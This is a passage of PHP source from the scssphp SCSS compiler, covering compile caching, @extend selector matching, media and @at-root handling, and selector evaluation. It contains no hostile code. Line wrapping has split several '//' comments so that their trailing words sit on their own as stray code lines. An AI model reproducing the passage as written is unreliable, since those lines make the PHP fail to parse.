protected $registeredFeatures = [
'extend-selector-pseudoclass' => false,
'at-error' => true,
'units-level-3' => false,
'global-variable-shadowing' => false,
];
protected $encoding = null;
protected $lineNumberStyle = null;
protected $sourceMap = self::SOURCE_MAP_NONE;
protected $sourceMapOptions = [];
/**
* @var string|\Leafo\ScssPhp\Formatter
*/
protected $formatter = 'Leafo\ScssPhp\Formatter\Nested';
protected $rootEnv;
protected $rootBlock;
/**
* @var \Leafo\ScssPhp\Compiler\Environment
*/
protected $env;
protected $scope;
protected $storeEnv;
protected $charsetSeen;
protected $sourceNames;
protected $cache;
protected $indentLevel;
protected $extends;
protected $extendsMap;
protected $parsedFiles;
protected $parser;
protected $sourceIndex;
protected $sourceLine;
protected $sourceColumn;
protected $stderr;
protected $shouldEvaluate;
protected $ignoreErrors;
protected $callStack = [];
/**
* Constructor
*/
public function __construct($cacheOptions = null)
{
$this->parsedFiles = [];
$this->sourceNames = [];
if ($cacheOptions) {
$this->cache = new Cache($cacheOptions);
}
}
public function getCompileOptions()
{
$options = [
'importPaths' => $this->importPaths,
'registeredVars' => $this->registeredVars,
'registeredFeatures' =>
$this->registeredFeatures,
'encoding' => $this->encoding,
'sourceMap' =>
serialize($this->sourceMap),
'sourceMapOptions' =>
$this->sourceMapOptions,
'formatter' => $this->formatter,
];
return $options;
}
/**
* Compile scss
*
* @api
*
* @param string $code
* @param string $path
*
* @return string
*/
public function compile($code, $path = null)
{
if ($this->cache) {
$cacheKey = ($path ? $path : "(stdin)") .
":" . md5($code);
$compileOptions = $this->getCompileOptions();
$cache = $this->cache->getCache("compile",
$cacheKey, $compileOptions);
if (is_array($cache)
&& isset($cache['dependencies'])
&& isset($cache['out'])
) {
// check if any dependency file changed before accepting
the cache
foreach ($cache['dependencies'] as $file =>
$mtime) {
if (! file_exists($file)
|| filemtime($file) !== $mtime
) {
unset($cache);
break;
}
}
if (isset($cache)) {
return $cache['out'];
}
}
}
$this->indentLevel = -1;
$this->extends = [];
$this->extendsMap = [];
$this->sourceIndex = null;
$this->sourceLine = null;
$this->sourceColumn = null;
$this->env = null;
$this->scope = null;
$this->storeEnv = null;
$this->charsetSeen = null;
$this->shouldEvaluate = null;
$this->stderr = fopen('php://stderr',
'w');
$this->parser = $this->parserFactory($path);
$tree = $this->parser->parse($code);
$this->parser = null;
$this->formatter = new $this->formatter();
$this->rootBlock = null;
$this->rootEnv = $this->pushEnv($tree);
$this->injectVariables($this->registeredVars);
$this->compileRoot($tree);
$this->popEnv();
$sourceMapGenerator = null;
if ($this->sourceMap) {
if (is_object($this->sourceMap) &&
$this->sourceMap instanceof SourceMapGenerator) {
$sourceMapGenerator = $this->sourceMap;
$this->sourceMap = self::SOURCE_MAP_FILE;
} elseif ($this->sourceMap !== self::SOURCE_MAP_NONE) {
$sourceMapGenerator = new
SourceMapGenerator($this->sourceMapOptions);
}
}
$out = $this->formatter->format($this->scope,
$sourceMapGenerator);
if (! empty($out) && $this->sourceMap &&
$this->sourceMap !== self::SOURCE_MAP_NONE) {
$sourceMap = $sourceMapGenerator->generateJson();
$sourceMapUrl = null;
switch ($this->sourceMap) {
case self::SOURCE_MAP_INLINE:
$sourceMapUrl =
sprintf('data:application/json,%s',
Util::encodeURIComponent($sourceMap));
break;
case self::SOURCE_MAP_FILE:
$sourceMapUrl =
$sourceMapGenerator->saveMap($sourceMap);
break;
}
$out .= sprintf('/*# sourceMappingURL=%s */',
$sourceMapUrl);
}
if ($this->cache && isset($cacheKey) &&
isset($compileOptions)) {
$v = [
'dependencies' => $this->getParsedFiles(),
'out' => &$out,
];
$this->cache->setCache("compile", $cacheKey,
$v, $compileOptions);
}
return $out;
}
/**
* Instantiate parser
*
* @param string $path
*
* @return \Leafo\ScssPhp\Parser
*/
protected function parserFactory($path)
{
$parser = new Parser($path, count($this->sourceNames),
$this->encoding, $this->cache);
$this->sourceNames[] = $path;
$this->addParsedFile($path);
return $parser;
}
/**
* Is self extend?
*
* @param array $target
* @param array $origin
*
* @return boolean
*/
protected function isSelfExtend($target, $origin)
{
foreach ($origin as $sel) {
if (in_array($target, $sel)) {
return true;
}
}
return false;
}
/**
* Push extends
*
* @param array $target
* @param array $origin
* @param \stdClass $block
*/
protected function pushExtends($target, $origin, $block)
{
if ($this->isSelfExtend($target, $origin)) {
return;
}
$i = count($this->extends);
$this->extends[] = [$target, $origin, $block];
foreach ($target as $part) {
if (isset($this->extendsMap[$part])) {
$this->extendsMap[$part][] = $i;
} else {
$this->extendsMap[$part] = [$i];
}
}
}
/**
* Make output block
*
* @param string $type
* @param array $selectors
*
* @return \Leafo\ScssPhp\Formatter\OutputBlock
*/
protected function makeOutputBlock($type, $selectors = null)
{
$out = new OutputBlock;
$out->type = $type;
$out->lines = [];
$out->children = [];
$out->parent = $this->scope;
$out->selectors = $selectors;
$out->depth = $this->env->depth;
if ($this->env->block instanceof Block) {
$out->sourceName = $this->env->block->sourceName;
$out->sourceLine = $this->env->block->sourceLine;
$out->sourceColumn =
$this->env->block->sourceColumn;
} else {
$out->sourceName = null;
$out->sourceLine = null;
$out->sourceColumn = null;
}
return $out;
}
/**
* Compile root
*
* @param \Leafo\ScssPhp\Block $rootBlock
*/
protected function compileRoot(Block $rootBlock)
{
$this->rootBlock = $this->scope =
$this->makeOutputBlock(Type::T_ROOT);
$this->compileChildrenNoReturn($rootBlock->children,
$this->scope);
$this->flattenSelectors($this->scope);
$this->missingSelectors();
}
/**
* Report missing selectors
*/
protected function missingSelectors()
{
foreach ($this->extends as $extend) {
if (isset($extend[3])) {
continue;
}
list($target, $origin, $block) = $extend;
// ignore if !optional
if ($block[2]) {
continue;
}
$target = implode(' ', $target);
$origin = $this->collapseSelectors($origin);
$this->sourceLine = $block[Parser::SOURCE_LINE];
$this->throwError("\"$origin\" failed to
@extend \"$target\". The selector \"$target\" was not
found.");
}
}
/**
* Flatten selectors
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
* @param string $parentKey
*/
protected function flattenSelectors(OutputBlock $block, $parentKey =
null)
{
if ($block->selectors) {
$selectors = [];
foreach ($block->selectors as $s) {
$selectors[] = $s;
if (! is_array($s)) {
continue;
}
// check extends
if (! empty($this->extendsMap)) {
$this->matchExtends($s, $selectors);
// remove duplicates
array_walk($selectors, function (&$value) {
$value = serialize($value);
});
$selectors = array_unique($selectors);
array_walk($selectors, function (&$value) {
$value = unserialize($value);
});
}
}
$block->selectors = [];
$placeholderSelector = false;
foreach ($selectors as $selector) {
if ($this->hasSelectorPlaceholder($selector)) {
$placeholderSelector = true;
continue;
}
$block->selectors[] =
$this->compileSelector($selector);
}
if ($placeholderSelector && 0 ===
count($block->selectors) && null !== $parentKey) {
unset($block->parent->children[$parentKey]);
return;
}
}
foreach ($block->children as $key => $child) {
$this->flattenSelectors($child, $key);
}
}
/**
* Glue parts of :not( or :nth-child( ... that are in general splitted
in selectors parts
*
* @param array $parts
*
* @return array
*/
protected function glueFunctionSelectors($parts)
{
$new = [];
foreach ($parts as $part) {
if (is_array($part)) {
$part = $this->glueFunctionSelectors($part);
$new[] = $part;
} else {
// a selector part finishing with a ) is the last part of a
:not( or :nth-child(
// and need to be joined to this
if (count($new) && is_string($new[count($new) - 1])
&& strlen($part) && substr($part, -1)
=== ')' && strpos($part, '(') === false
) {
$new[count($new) - 1] .= $part;
} else {
$new[] = $part;
}
}
}
return $new;
}
/**
* Match extends
*
* @param array $selector
* @param array $out
* @param integer $from
* @param boolean $initial
*/
protected function matchExtends($selector, &$out, $from = 0,
$initial = true)
{
static $partsPile = [];
$selector = $this->glueFunctionSelectors($selector);
foreach ($selector as $i => $part) {
if ($i < $from) {
continue;
}
// check that we are not building an infinite loop of
extensions
// if the new part is just including a previous part don't
try to extend anymore
if (count($part) > 1) {
foreach ($partsPile as $previousPart) {
if (! count(array_diff($previousPart, $part))) {
continue 2;
}
}
}
if ($this->matchExtendsSingle($part, $origin)) {
$partsPile[] = $part;
$after = array_slice($selector, $i + 1);
$before = array_slice($selector, 0, $i);
list($before, $nonBreakableBefore) =
$this->extractRelationshipFromFragment($before);
foreach ($origin as $new) {
$k = 0;
// remove shared parts
if (count($new) > 1) {
while ($k < $i && isset($new[$k])
&& $selector[$k] === $new[$k]) {
$k++;
}
}
$replacement = [];
$tempReplacement = $k > 0 ? array_slice($new, $k) :
$new;
for ($l = count($tempReplacement) - 1; $l >= 0;
$l--) {
$slice = [];
foreach ($tempReplacement[$l] as $chunk) {
if (! in_array($chunk, $slice)) {
$slice[] = $chunk;
}
}
array_unshift($replacement, $slice);
if (!
$this->isImmediateRelationshipCombinator(end($slice))) {
break;
}
}
$afterBefore = $l != 0 ? array_slice($tempReplacement,
0, $l) : [];
// Merge shared direct relationships.
$mergedBefore =
$this->mergeDirectRelationships($afterBefore, $nonBreakableBefore);
$result = array_merge(
$before,
$mergedBefore,
$replacement,
$after
);
if ($result === $selector) {
continue;
}
$out[] = $result;
// recursively check for more matches
$startRecurseFrom = count($before) +
min(count($nonBreakableBefore), count($mergedBefore));
$this->matchExtends($result, $out,
$startRecurseFrom, false);
// selector sequence merging
if (! empty($before) && count($new) > 1) {
$preSharedParts = $k > 0 ? array_slice($before,
0, $k) : [];
$postSharedParts = $k > 0 ? array_slice($before,
$k) : $before;
list($betweenSharedParts, $nonBreakable2) =
$this->extractRelationshipFromFragment($afterBefore);
$result2 = array_merge(
$preSharedParts,
$betweenSharedParts,
$postSharedParts,
$nonBreakable2,
$nonBreakableBefore,
$replacement,
$after
);
$out[] = $result2;
}
}
array_pop($partsPile);
}
}
}
/**
* Match extends single
*
* @param array $rawSingle
* @param array $outOrigin
*
* @return boolean
*/
protected function matchExtendsSingle($rawSingle, &$outOrigin)
{
$counts = [];
$single = [];
// simple usual cases, no need to do the whole trick
if (in_array($rawSingle,
[['>'],['+'],['~']])) {
return false;
}
foreach ($rawSingle as $part) {
// matches Number
if (! is_string($part)) {
return false;
}
if (! preg_match('/^[\[.:#%]/', $part) &&
count($single)) {
$single[count($single) - 1] .= $part;
} else {
$single[] = $part;
}
}
$extendingDecoratedTag = false;
if (count($single) > 1) {
$matches = null;
$extendingDecoratedTag = preg_match('/^[a-z0-9]+$/i',
$single[0], $matches) ? $matches[0] : false;
}
foreach ($single as $part) {
if (isset($this->extendsMap[$part])) {
foreach ($this->extendsMap[$part] as $idx) {
$counts[$idx] = isset($counts[$idx]) ? $counts[$idx] +
1 : 1;
}
}
}
$outOrigin = [];
$found = false;
foreach ($counts as $idx => $count) {
list($target, $origin, /* $block */) = $this->extends[$idx];
$origin = $this->glueFunctionSelectors($origin);
// check count
if ($count !== count($target)) {
continue;
}
$this->extends[$idx][3] = true;
$rem = array_diff($single, $target);
foreach ($origin as $j => $new) {
// prevent infinite loop when target extends itself
if ($this->isSelfExtend($single, $origin)) {
return false;
}
$replacement = end($new);
// Extending a decorated tag with another tag is not
possible.
if ($extendingDecoratedTag && $replacement[0] !=
$extendingDecoratedTag &&
preg_match('/^[a-z0-9]+$/i', $replacement[0])
) {
unset($origin[$j]);
continue;
}
$combined = $this->combineSelectorSingle($replacement,
$rem);
if (count(array_diff($combined,
$origin[$j][count($origin[$j]) - 1]))) {
$origin[$j][count($origin[$j]) - 1] = $combined;
}
}
$outOrigin = array_merge($outOrigin, $origin);
$found = true;
}
return $found;
}
/**
* Extract a relationship from the fragment.
*
* When extracting the last portion of a selector we will be left with
a
* fragment which may end with a direction relationship combinator.
This
* method will extract the relationship fragment and return it along
side
* the rest.
*
* @param array $fragment The selector fragment maybe ending with a
direction relationship combinator.
*
* @return array The selector without the relationship fragment if any,
the relationship fragment.
*/
protected function extractRelationshipFromFragment(array $fragment)
{
$parents = [];
$children = [];
$j = $i = count($fragment);
for (;;) {
$children = $j != $i ? array_slice($fragment, $j, $i - $j) :
[];
$parents = array_slice($fragment, 0, $j);
$slice = end($parents);
if (empty($slice) || !
$this->isImmediateRelationshipCombinator($slice[0])) {
break;
}
$j -= 2;
}
return [$parents, $children];
}
/**
* Combine selector single
*
* @param array $base
* @param array $other
*
* @return array
*/
protected function combineSelectorSingle($base, $other)
{
$tag = [];
$out = [];
$wasTag = true;
foreach ([$base, $other] as $single) {
foreach ($single as $part) {
if (preg_match('/^[\[.:#]/', $part)) {
$out[] = $part;
$wasTag = false;
} elseif (preg_match('/^[^_-]/', $part)) {
$tag[] = $part;
$wasTag = true;
} elseif ($wasTag) {
$tag[count($tag) - 1] .= $part;
} else {
$out[count($out) - 1] .= $part;
}
}
}
if (count($tag)) {
array_unshift($out, $tag[0]);
}
return $out;
}
/**
* Compile media
*
* @param \Leafo\ScssPhp\Block $media
*/
protected function compileMedia(Block $media)
{
$this->pushEnv($media);
$mediaQueries =
$this->compileMediaQuery($this->multiplyMedia($this->env));
if (! empty($mediaQueries) && $mediaQueries) {
$previousScope = $this->scope;
$parentScope = $this->mediaParent($this->scope);
foreach ($mediaQueries as $mediaQuery) {
$this->scope = $this->makeOutputBlock(Type::T_MEDIA,
[$mediaQuery]);
$parentScope->children[] = $this->scope;
$parentScope = $this->scope;
}
// top level properties in a media cause it to be wrapped
$needsWrap = false;
foreach ($media->children as $child) {
$type = $child[0];
if ($type !== Type::T_BLOCK &&
$type !== Type::T_MEDIA &&
$type !== Type::T_DIRECTIVE &&
$type !== Type::T_IMPORT
) {
$needsWrap = true;
break;
}
}
if ($needsWrap) {
$wrapped = new Block;
$wrapped->sourceName = $media->sourceName;
$wrapped->sourceIndex = $media->sourceIndex;
$wrapped->sourceLine = $media->sourceLine;
$wrapped->sourceColumn = $media->sourceColumn;
$wrapped->selectors = [];
$wrapped->comments = [];
$wrapped->parent = $media;
$wrapped->children = $media->children;
$media->children = [[Type::T_BLOCK, $wrapped]];
if (isset($this->lineNumberStyle)) {
$annotation =
$this->makeOutputBlock(Type::T_COMMENT);
$annotation->depth = 0;
$file = $this->sourceNames[$media->sourceIndex];
$line = $media->sourceLine;
switch ($this->lineNumberStyle) {
case static::LINE_COMMENTS:
$annotation->lines[] = '/* line '
. $line
. ($file ? ', '
. $file : '')
. ' */';
break;
case static::DEBUG_INFO:
$annotation->lines[] = '@media
-sass-debug-info{'
. ($file ?
'filename{font-family:"' . $file . '"}' :
'')
.
'line{font-family:' . $line . '}}';
break;
}
$this->scope->children[] = $annotation;
}
}
$this->compileChildrenNoReturn($media->children,
$this->scope);
$this->scope = $previousScope;
}
$this->popEnv();
}
/**
* Media parent
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
*
* @return \Leafo\ScssPhp\Formatter\OutputBlock
*/
protected function mediaParent(OutputBlock $scope)
{
while (! empty($scope->parent)) {
if (! empty($scope->type) && $scope->type !==
Type::T_MEDIA) {
break;
}
$scope = $scope->parent;
}
return $scope;
}
/**
* Compile directive
*
* @param \Leafo\ScssPhp\Block $block
*/
protected function compileDirective(Block $block)
{
$s = '@' . $block->name;
if (! empty($block->value)) {
$s .= ' ' . $this->compileValue($block->value);
}
if ($block->name === 'keyframes' ||
substr($block->name, -10) === '-keyframes') {
$this->compileKeyframeBlock($block, [$s]);
} else {
$this->compileNestedBlock($block, [$s]);
}
}
/**
* Compile at-root
*
* @param \Leafo\ScssPhp\Block $block
*/
protected function compileAtRoot(Block $block)
{
$env = $this->pushEnv($block);
$envs = $this->compactEnv($env);
$without = isset($block->with) ?
$this->compileWith($block->with) : static::WITH_RULE;
// wrap inline selector
if ($block->selector) {
$wrapped = new Block;
$wrapped->sourceName = $block->sourceName;
$wrapped->sourceIndex = $block->sourceIndex;
$wrapped->sourceLine = $block->sourceLine;
$wrapped->sourceColumn = $block->sourceColumn;
$wrapped->selectors = $block->selector;
$wrapped->comments = [];
$wrapped->parent = $block;
$wrapped->children = $block->children;
$wrapped->selfParent = $block->selfParent;
$block->children = [[Type::T_BLOCK, $wrapped]];
$block->selector = null;
}
$selfParent = $block->selfParent;
if (! $block->selfParent->selectors &&
isset($block->parent) && $block->parent &&
isset($block->parent->selectors) &&
$block->parent->selectors
) {
$selfParent = $block->parent;
}
$this->env = $this->filterWithout($envs, $without);
$saveScope = $this->scope;
$this->scope = $this->filterScopeWithout($saveScope,
$without);
// propagate selfParent to the children where they still can be
useful
$this->compileChildrenNoReturn($block->children,
$this->scope, $selfParent);
$this->scope = $this->completeScope($this->scope,
$saveScope);
$this->scope = $saveScope;
$this->env = $this->extractEnv($envs);
$this->popEnv();
}
/**
* Filter at-root scope depending of with/without option
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
* @param mixed $without
*
* @return mixed
*/
protected function filterScopeWithout($scope, $without)
{
$filteredScopes = [];
if ($scope->type === TYPE::T_ROOT) {
return $scope;
}
// start from the root
while ($scope->parent && $scope->parent->type !==
TYPE::T_ROOT) {
$scope = $scope->parent;
}
for (;;) {
if (! $scope) {
break;
}
if (! $this->isWithout($without, $scope)) {
$s = clone $scope;
$s->children = [];
$s->lines = [];
$s->parent = null;
if ($s->type !== Type::T_MEDIA && $s->type
!== Type::T_DIRECTIVE) {
$s->selectors = [];
}
$filteredScopes[] = $s;
}
if ($scope->children) {
$scope = end($scope->children);
} else {
$scope = null;
}
}
if (! count($filteredScopes)) {
return $this->rootBlock;
}
$newScope = array_shift($filteredScopes);
$newScope->parent = $this->rootBlock;
$this->rootBlock->children[] = $newScope;
$p = &$newScope;
while (count($filteredScopes)) {
$s = array_shift($filteredScopes);
$s->parent = $p;
$p->children[] = &$s;
$p = $s;
}
return $newScope;
}
/**
* found missing selector from a at-root compilation in the previous
scope
* (if at-root is just enclosing a property, the selector is in the
parent tree)
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
* @param \Leafo\ScssPhp\Formatter\OutputBlock $previousScope
*
* @return mixed
*/
protected function completeScope($scope, $previousScope)
{
if (! $scope->type && (! $scope->selectors || !
count($scope->selectors)) && count($scope->lines)) {
$scope->selectors =
$this->findScopeSelectors($previousScope, $scope->depth);
}
if ($scope->children) {
foreach ($scope->children as $k => $c) {
$scope->children[$k] = $this->completeScope($c,
$previousScope);
}
}
return $scope;
}
/**
* Find a selector by the depth node in the scope
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
* @param integer $depth
*
* @return array
*/
protected function findScopeSelectors($scope, $depth)
{
if ($scope->depth === $depth && $scope->selectors) {
return $scope->selectors;
}
if ($scope->children) {
foreach (array_reverse($scope->children) as $c) {
if ($s = $this->findScopeSelectors($c, $depth)) {
return $s;
}
}
}
return [];
}
/**
* Compile @at-root's with: inclusion / without: exclusion into
filter flags
*
* @param array $with
*
* @return integer
*/
protected function compileWith($with)
{
static $mapping = [
'rule' => self::WITH_RULE,
'media' => self::WITH_MEDIA,
'supports' => self::WITH_SUPPORTS,
'all' => self::WITH_ALL,
];
// exclude selectors by default
$without = static::WITH_RULE;
if ($this->libMapHasKey([$with, static::$with])) {
$without = static::WITH_ALL;
$list = $this->coerceList($this->libMapGet([$with,
static::$with]));
foreach ($list[2] as $item) {
$keyword =
$this->compileStringContent($this->coerceString($item));
if (array_key_exists($keyword, $mapping)) {
$without &= ~($mapping[$keyword]);
}
}
}
if ($this->libMapHasKey([$with, static::$without])) {
$without = 0;
$list = $this->coerceList($this->libMapGet([$with,
static::$without]));
foreach ($list[2] as $item) {
$keyword =
$this->compileStringContent($this->coerceString($item));
if (array_key_exists($keyword, $mapping)) {
$without |= $mapping[$keyword];
}
}
}
return $without;
}
/**
* Filter env stack
*
* @param array $envs
* @param integer $without
*
* @return \Leafo\ScssPhp\Compiler\Environment
*/
protected function filterWithout($envs, $without)
{
$filtered = [];
foreach ($envs as $e) {
if ($e->block && $this->isWithout($without,
$e->block)) {
$ec = clone $e;
$ec->block = null;
$ec->selectors = [];
$filtered[] = $ec;
} else {
$filtered[] = $e;
}
}
return $this->extractEnv($filtered);
}
/**
* Filter WITH rules
*
* @param integer
$without
* @param \Leafo\ScssPhp\Block|\Leafo\ScssPhp\Formatter\OutputBlock
$block
*
* @return boolean
*/
protected function isWithout($without, $block)
{
if (isset($block->type)) {
if ($block->type === Type::T_MEDIA) {
return ($without & static::WITH_MEDIA) ? true : false;
}
if ($block->type === Type::T_DIRECTIVE) {
if (isset($block->name) && $block->name ===
'supports') {
return ($without & static::WITH_SUPPORTS) ? true :
false;
}
if (isset($block->selectors) &&
strpos(serialize($block->selectors), '@supports') !== false) {
return ($without & static::WITH_SUPPORTS) ? true :
false;
}
}
}
if ((($without & static::WITH_RULE) &&
isset($block->selectors))) {
return true;
}
return false;
}
/**
* Compile keyframe block
*
* @param \Leafo\ScssPhp\Block $block
* @param array $selectors
*/
protected function compileKeyframeBlock(Block $block, $selectors)
{
$env = $this->pushEnv($block);
$envs = $this->compactEnv($env);
$this->env = $this->extractEnv(array_filter($envs, function
(Environment $e) {
return ! isset($e->block->selectors);
}));
$this->scope = $this->makeOutputBlock($block->type,
$selectors);
$this->scope->depth = 1;
$this->scope->parent->children[] = $this->scope;
$this->compileChildrenNoReturn($block->children,
$this->scope);
$this->scope = $this->scope->parent;
$this->env = $this->extractEnv($envs);
$this->popEnv();
}
/**
* Compile nested block
*
* @param \Leafo\ScssPhp\Block $block
* @param array $selectors
*/
protected function compileNestedBlock(Block $block, $selectors)
{
$this->pushEnv($block);
$this->scope = $this->makeOutputBlock($block->type,
$selectors);
$this->scope->parent->children[] = $this->scope;
// wrap assign children in a block
// except for @font-face
if ($block->type !== Type::T_DIRECTIVE || $block->name !==
"font-face") {
// need wrapping?
$needWrapping = false;
foreach ($block->children as $child) {
if ($child[0] === Type::T_ASSIGN) {
$needWrapping = true;
break;
}
}
if ($needWrapping) {
$wrapped = new Block;
$wrapped->sourceName = $block->sourceName;
$wrapped->sourceIndex = $block->sourceIndex;
$wrapped->sourceLine = $block->sourceLine;
$wrapped->sourceColumn = $block->sourceColumn;
$wrapped->selectors = [];
$wrapped->comments = [];
$wrapped->parent = $block;
$wrapped->children = $block->children;
$wrapped->selfParent = $block->selfParent;
$block->children = [[Type::T_BLOCK, $wrapped]];
}
}
$this->compileChildrenNoReturn($block->children,
$this->scope);
$this->scope = $this->scope->parent;
$this->popEnv();
}
/**
* Recursively compiles a block.
*
* A block is analogous to a CSS block in most cases. A single SCSS
document
* is encapsulated in a block when parsed, but it does not have parent
tags
* so all of its children appear on the root level when compiled.
*
* Blocks are made up of selectors and children.
*
* The children of a block are just all the blocks that are defined
within.
*
* Compiling the block involves pushing a fresh environment on the
stack,
* and iterating through the props, compiling each one.
*
* @see Compiler::compileChild()
*
* @param \Leafo\ScssPhp\Block $block
*/
protected function compileBlock(Block $block)
{
$env = $this->pushEnv($block);
$env->selectors = $this->evalSelectors($block->selectors);
$out = $this->makeOutputBlock(null);
if (isset($this->lineNumberStyle) &&
count($env->selectors) && count($block->children)) {
$annotation = $this->makeOutputBlock(Type::T_COMMENT);
$annotation->depth = 0;
$file = $this->sourceNames[$block->sourceIndex];
$line = $block->sourceLine;
switch ($this->lineNumberStyle) {
case static::LINE_COMMENTS:
$annotation->lines[] = '/* line ' . $line
. ($file ? ', ' . $file
: '')
. ' */';
break;
case static::DEBUG_INFO:
$annotation->lines[] = '@media
-sass-debug-info{'
. ($file ?
'filename{font-family:"' . $file . '"}' :
'')
. 'line{font-family:' .
$line . '}}';
break;
}
$this->scope->children[] = $annotation;
}
$this->scope->children[] = $out;
if (count($block->children)) {
$out->selectors = $this->multiplySelectors($env,
$block->selfParent);
// propagate selfParent to the children where they still can be
useful
$selfParentSelectors = null;
if (isset($block->selfParent->selectors)) {
$selfParentSelectors = $block->selfParent->selectors;
$block->selfParent->selectors = $out->selectors;
}
$this->compileChildrenNoReturn($block->children, $out,
$block->selfParent);
// and revert for the following childs of the same block
if ($selfParentSelectors) {
$block->selfParent->selectors = $selfParentSelectors;
}
}
$this->formatter->stripSemicolon($out->lines);
$this->popEnv();
}
/**
* Compile root level comment
*
* @param array $block
*/
protected function compileComment($block)
{
$out = $this->makeOutputBlock(Type::T_COMMENT);
$out->lines[] = is_string($block[1]) ? $block[1] :
$this->compileValue($block[1]);
$this->scope->children[] = $out;
}
/**
* Evaluate selectors
*
* @param array $selectors
*
* @return array
*/
protected function evalSelectors($selectors)
{
$this->shouldEvaluate = false;
$selectors = array_map([$this, 'evalSelector'],
$selectors);
// after evaluating interpolates, we might need a second pass
if ($this->shouldEvaluate) {
$selectors = $this->revertSelfSelector($selectors);
$buffer = $this->collapseSelectors($selectors);
$parser = $this->parserFactory(__METHOD__);
if ($parser->parseSelector($buffer, $newSelectors)) {
$selectors = array_map([$this, 'evalSelector'],
$newSelectors);
}
}
return $selectors;
}
/**
* Evaluate selector
*
* @param array $selector
*
* @return array
*/
protected function evalSelector($selector)
{
return array_map([$this, 'evalSelectorPart'], $selector);
}
/**
* Evaluate selector part; replaces all the interpolates, stripping
quotes
*
* @param array $part
*
* @return array
*/
protected function evalSelectorPart($part)
{
foreach ($part as &$p) {
if (is_array($p) && ($p[0] === Type::T_INTERPOLATE ||
$p[0] === Type::T_STRING)) {
$p = $this->compileValue($p);
// force re-evaluation
if (strpos($p, '&') !== false || strpos($p,
',') !== false) {
$this->shouldEvaluate = true;
}
} elseif (is_string($p) && strlen($p) >= 2
&&
($first = $p[0]) && ($first === '"'
|| $first === "'") &&
substr($p, -1) === $first
) {
$p = substr($p, 1, -1);
}
}
return $this->flattenSelectorSingle($part);
}
/**
* Collapse selectors
*
* @param array $selectors
* @param boolean $selectorFormat
* if false return a collapsed string
* if true return an array description of a structured selector
*
* @return string
*/
protected function collapseSelectors($selectors, $selectorFormat =
false)
{
$parts = [];
foreach ($selectors as $selector) {
$output = [];
$glueNext = false;
foreach ($selector as $node) {
$compound = '';
array_walk_recursive(
$node,
function ($value, $key) use (&$compound) {
$compound .= $value;
}
);
if ($selectorFormat &&
$this->isImmediateRelationshipCombinator($compound)) {
if (count($output)) {
$output[count($output) - 1] .= ' ' .
$compound;
} else {
$output[] = $compound;
}
$glueNext = true;
} elseif ($glueNext) {
$output[count($output) - 1] .= ' ' .
$compound;
$glueNext = false;
} else {
$output[] = $compound;
}
}
if ($selectorFormat) {
foreach ($output as &$o) {
$o = [Type::T_STRING, '', [$o]];
}
$output = [Type::T_LIST, ' ', $output];
} else {
$output = implode(' ', $output);
}
$parts[] = $output;
}
if ($selectorFormat) {
$parts = [Type::T_LIST, ',', $parts];
} else {
$parts = implode(', ', $parts);
}
return $parts;
}
/**
* Parse down the selector and revert [self] to "&"
before a reparsing
*
* @param array $selectors
*
* @return array
*/
protected function revertSelfSelector($selectors)
{
foreach ($selectors as &$part) {
if (is_array($part)) {
if ($part === [Type::T_SELF]) {
$part = '&';
} else {
$part = $this->revertSelfSelector($part);
}
}
}
return $selectors;
}
/**
* Flatten selector single; joins together .classes and #ids
*
* @param array $single
*
* @return array
*/
protected function flattenSelectorSingle($single)
{
$joined = [];
foreach ($single as $part) {
if (empty($joined) ||
! is_string($part) ||
preg_match('/[\[.:#%]/', $part)
) {
$joined[] = $part;
continue;
}
if (is_array(end($joined))) {
$joined[] = $part;
} else {
$joined[count($joined) - 1] .= $part;
}
}
return $joined;
}
/**
* Compile selector to string; self(&) should have been replaced by
now
*
* @param string|array $selector
*
* @return string
*/
protected function compileSelector($selector)
{
if (! is_array($selector)) {
return $selector; // media and the like
}
return implode(
' ',
array_map(
[$this, 'compileSelectorPart'],
$selector
)
);
}
/**
* Compile selector part
*
* @param array $piece
*
* @return string
*/
protected function compileSelectorPart($piece)
{
foreach ($piece as &$p) {
if (! is_array($p)) {
continue;
}
switch ($p[0]) {
case Type::T_SELF:
$p = '&';
break;
default:
$p = $this->compileValue($p);
break;
}
}
return implode($piece);
}
/**
* Has selector placeholder?
*
* @param array $selector
*
* @return boolean
*/
protected function hasSelectorPlaceholder($selector)
{
if (! is_array($selector)) {
return false;
}
foreach ($selector as $parts) {
foreach ($parts as $part) {
if (strlen($part) && '%' === $part[0]) {
return true;
}
}
}
return false;
}
protected function pushCallStack($name = '')
{
$this->callStack[] = [
'n' => $name,
Parser::SOURCE_INDEX => $this->sourceIndex,
Parser::SOURCE_LINE => $this->sourceLine,
Parser::SOURCE_COLUMN => $this->sourceColumn
];
// infinite calling loop
if (count($this->callStack) > 25000) {
// not displayed but you can var_dump it to deep debug
$msg = $this->callStackMessage(true, 100);
$msg = "Infinite calling loop";
$this->throwError($msg);
}
}
protected function popCallStack()
{
array_pop($this->callStack);
}
/**
* Compile children and return result
*
* @param array $stms
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
* @param string $traceName
*
* @return array|null
*/
protected function compileChildren($stms, OutputBlock $out, $traceName
= '')
{
$this->pushCallStack($traceName);
foreach ($stms as $stm) {
$ret = $this->compileChild($stm, $out);
if (isset($ret)) {
return $ret;
}
}
$this->popCallStack();
return null;
}
/**
* Compile children and throw exception if unexpected @return
*
* @param array $stms
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
* @param \Leafo\ScssPhp\Block $selfParent
* @param string $traceName
*
* @throws \Exception
*/
protected function compileChildrenNoReturn($stms, OutputBlock $out,
$selfParent = null, $traceName = '')
{
$this->pushCallStack($traceName);
foreach ($stms as $stm) {
if ($selfParent && isset($stm[1]) &&
is_object($stm[1]) && $stm[1] instanceof Block) {
$stm[1]->selfParent = $selfParent;
$ret = $this->compileChild($stm, $out);
$stm[1]->selfParent = null;
} elseif ($selfParent && $stm[0] === TYPE::T_INCLUDE) {
$stm['selfParent'] = $selfParent;
$ret = $this->compileChild($stm, $out);
unset($stm['selfParent']);
} else {
$ret = $this->compileChild($stm, $out);
}
if (isset($ret)) {
$this->throwError('@return may only be used within
a function');
return;
}
}
$this->popCallStack();
}
/**
* evaluate media query : compile internal value keeping the structure
inchanged
*
* @param array $queryList
*
* @return array
*/
protected function evaluateMediaQuery($queryList)
{
foreach ($queryList as $kql => $query) {
